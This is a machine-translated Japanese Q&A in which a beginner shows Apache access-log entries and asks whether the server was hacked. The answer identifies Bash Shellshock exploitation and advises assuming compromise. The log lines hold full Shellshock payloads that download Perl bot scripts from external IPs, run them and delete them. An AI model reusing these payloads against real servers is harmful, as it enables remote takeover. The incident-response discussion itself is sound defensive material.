web-dev-qa-db-ja.com

cgiスクリプトを使用してApacheをハッキングする

私はWebプログラミングの初心者なので、練習用にApache2サーバーをセットアップします。

誰かが私のApacheサーバーをハッキングすることに成功したようです。 access.logに次の行があることに気づきました。

_81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;Perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"
_

そしてこれも:

_80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/Perl -e 'print      \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;Perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"
_

HTTP-200によると、彼らはすでにハッキングに成功しているようで、リクエストが許可されたことを意味します。

リクエスト内のコマンドを「追跡」しようとすると(各コマンドを手動で実行することにより):

system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;Perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"

ファイル「bot.txt」のダウンロードに成功したことがわかります。 'bot.txt'ファイルを開いて、そのPerlスクリプトを見たとき。私はPerlの僧侶ではありませんが、それぞれが他のサーバーへのポートを開こうとする他のプロセスを「フォーク」していることがわかります。また、私のステーションで開いているポートを検索しようとするコード内の関数を見ました。

私の質問:

  • 誰かがこの問題を知っていますか?
  • このようなハッキングを防ぐためにApache2.confを設定するにはどうすればよいですか?

どうも

1
YyYo

攻撃者は Bash Shellshock の脆弱性を悪用しようとしています。別のSFの投稿ですでに取り上げられている、いくつかの簡単なコマンドラインテスト(それ自体は有害ではありません)を使用して、脆弱かどうかを確認できます。

ログには、200個のHTTPステータスコードが返されたことが示されています。これは、Apacheが両方のリクエストをエラーなしで処理したことを示しています。どちらかを持っていたcontact.cgiまたはcgi_wrapper失敗しました。代わりに、Apacheが500(内部サーバーエラー)ステータスコードを返すことを期待していました。これは、両方のスクリプトが少なくともShellshockエクスプロイトを試みたことを示唆しています。

システムに脆弱なバージョンのBashがあると判断できる場合は、ou.plおよびbot.plスクリプトは実際にダウンロードされ、システムに実行されました。それを考えると、最初の侵入後に何が行われたかを知る方法が実際にはないため、システムの整合性について何も仮定するべきではありません。これをどのように処理するかは、自分で決定する必要がありますが、このSFの質問にはいくつかの良い提案があります。

4